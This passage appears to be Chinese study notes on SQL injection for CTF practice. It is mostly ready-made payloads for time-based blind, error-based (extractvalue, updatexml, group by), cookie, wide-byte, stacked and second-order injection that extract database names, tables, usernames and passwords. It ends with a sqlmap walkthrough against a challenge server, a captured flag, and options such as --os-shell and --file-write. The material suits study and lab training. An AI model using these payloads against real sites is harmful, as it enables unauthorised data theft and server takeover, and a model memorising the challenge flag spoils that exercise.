# t1表中有4条数据,我们用or添加sleep函数表示如果name!='张三'则延迟1秒,所以会延迟3秒,因此我们断定有三条信息不符合name='张三'
select * from test.t1 where name='张三' and sleep(1);
# 语句执行后name=’张三‘有值则延迟1秒,否则不延迟。以此判断盲注时条件是否成立。
if条件判断:
if(expr1,expr2,expr3)
expr1值为TRUE,则返回值为expr2
expr1值为FALSE,则返回值为expr3
用法:
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
用python写脚本:
构造payload
payload=url+"?title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)--+".format(i,j)
5.cookie注入:
什么事cookie注入?
该页面的数据库管理系统为access数据库,第一步还是判断注入点:id=171数字型
用order by判断出字段数为10
用联合注入,找出回显点:
-- access联合查询与mysql不同
select * from aboutus where id=1 union select 1,...,1 from admin
# access默认将union后的查询内容放在表的最前面(mysql是最后面)
exists(select xxx from admin)
# 判断admin表中的xxx字段是否存在
但是页面有拦截
右键页面检查,找到存储里的cookie,修改里面的名称和值,比如刚才的id=171
刷新页面:出现id=171的信息,说明网站可以cookie传参数
这样操作比较繁琐,火狐浏览器中有cookie插件可以帮助简单化这个过程 cookie quick manager
(Domains下是域名,Cookie下是选中域名的cookie,Details下可以上传cookie信息)
注意输入命令时要用加号代替空格,否则可能出现一些问题
由此可以确认回显点显示的位置,比如数字7和8的位置分别在,发布者和发布时间后
查询用户名和密码字段
密码好像有加密(MD5)
放入解密网站中解密 CMD5
6.报错注入:
该注入需要用到一个数据库函数:
-- extractvalue(XML_document,XPath_string)
-- 爆版本
a' and (extractvalue(1,concat(0x5c,version(),0x5c)))# '
-- 爆数据库
a' and (extractvalue(1,concat(0x5c,database(),0x5c)))# '
-- 爆表名
a' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# '
-- 爆字段名
a' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# '
-- 爆字段内容该格式针对mysql数据库
a' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# '
-- 爆字段内容
a' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# '
-- 这段注入方式可以有效应对关键词过滤(0x7e相当于~,0x5c相当于\,都属于一种非法路径,这里用十六进制防止过滤)
-- updatexml(XML_document, XPath_string, new_value)
-- 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
1.数据库名
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#'
2.表名
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#'
-- 注意可能报错,more than one row
-- 解决方法,并列成一行 group_concat(table_name)
3.列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#'
4.flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#'
admin'or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1))#'
-- group by报错注入
1.爆数据库
and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#
2.爆数据库版本
and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#
3.通过修改limit后面数字一个一个爆表
and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#
4.爆出所有表
and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#
5.爆出所有字段名
and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#
6.爆出所有字段名
and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#
7.爆出该账户的密码
and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#
https://blog.csdn.net/m0_53065491/article/details/121893986
7.宽字节注入
程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有‘作用’,仅仅是‘内容’而已。
宽字节注入是sql注入的一种手段,利用mysql使用GBK编码(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\。
1.%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成%df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的 ’ 符号在外面:
id=-1%df%27union select 1,user(),3--+
2.将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
(1).replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。
(2).addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
8.堆叠注入
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
使用preg_match函数过滤了大量注入的关键字
堆叠注入:在一行中分别执行多个sql语句,不同语句用分号隔开
例:【()内为源代码,在网页中不显示】
(select*from xxx where id=)1';show databases;#
9.sql预编译
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
例:
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
经典赛题:
10.子查询
https://blog.csdn.net/LMY0210/article/details/126345475
11.异或盲注
原理:
-- 利用if()函数返回值进行异或盲注
12.脚本测试
例如--爆破库名:
get_database="?id=-1/**/or/**/ascii(substr(database()from/**/%s/**/for/**/1))=%s"
payload=URL+sql%(j,i)
13.sprintf注入
14.无列名SQL注入攻击
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据是来自information_schema和performance_chema,因其本身是无法存储数据的,所以可以通过其中的schema_auto_increment_columns来获取表名。其用法是:sys.schema_auto_increment_columns
注入mysql后在默认情况下可以替代information_schema库的方法
schema_auto_increment_columns:该视图的作用简单总结为用于对表自增的ID进行监控。
虚拟表格
(1)当我们 select 1,2,3 的时候,此时页面就如一个虚拟的表格,列名为1,2,3。
(2)我们查询列名为1,2,3的数据。
(3)第一行是我们所查询到的1,2,3后面所紧接的表中数据。
从虚拟表中查一列信息
select `2` from (select 1,2,3 union select * from student)a
将select 1,2,3的结果拼接到select * from student 的结果后提取第二列信息。select 1,2,3需要根据表的字段而定,也就是说当您进行查询时,语句的字段数必须保持和指定表中的字段数相同,不能增加或减少,否则将会出现报错告示。
语句的最后一个字母是别名,多表查询,或者查询的时候产生新的表时需要在语句末写别名,因为mysql要求每一个派生出来的表都必须有一个自己的别名:“as name”或者“name”,这里的"a"就是"name"
如图所示,您就可以查询到第二列的数据。在虚拟表中,列名均是1,2,3,所以我们在查询语句中不能直接使用 2,而是要使用 `2`, 只有通过此方式才能够获取到列名。
15.二次注入
二次注入是一种特殊的SQL注入攻击方式,其工作原理在于将用户的输入数据经过特定的处理后再存储到数据库中,最后再从数据库中将这个处理过的数据拿出来用于执行SQL查询语句。这种注入方式相比普通的SQL注入来说,具有更高的技术要求和利用门槛。在某些情况下,如果数据库未对存入的数据进行适当的过滤,并且允许这些数据以某种形式进入SQL查询语句中,那么二次注入可能就会被用来实现攻击。
例如,在一个SQL注入实验环境中,如果存在一个名为"admin"的用户,并且该用户拥有密码"admin",那么通过二次注入,攻击者可能会尝试更新这个用户的密码为自己的密码。这可以通过修改现有的SQL查询语句来实现,比如原来的语句可能是
`UPDATE users SET PASSWORD='$pass' WHERE username='$username' AND password='$curr_pass'`;
而通过二次注入,攻击者可以将用户名替换为一个特殊字符,如`admin'#`,从而使得更新的SQL查询语句变为
`UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' AND password='$curr_pass'`。
这样,当原用户尝试登录时,他们会发现他们的密码已经被更改了,但实际上这是由攻击者所为。
16.修改表结构
例题:supersqli
payload=1';rename table `words` to `a`;
rename table `1919810931114514` to `words`; alter table words add `id` int(5) auto_increment,add primary key(id); --+
六、SqlMap
以攻防世界”inget“例题为演示:
先用sqlmap大概检查一下
sqlmap -u "http://61.147.171.105:54285/?id=1"
尝试列出所以数据库
sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs
可以看到有一个名为cyber的数据库,我们指定列出它的表
列出指定数据库的表
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables
可以看到这个数据库里只有一个表,且和数据库同名
我们继续列出指定表的字段
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns
尝试获取指定字段中的数据
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C id,pw --dump
拿到flag
cyberpeace{818e277716501adc71a98b501c4d7a99}
常见参数
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--all 列举所有可访问的数据(不推荐)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导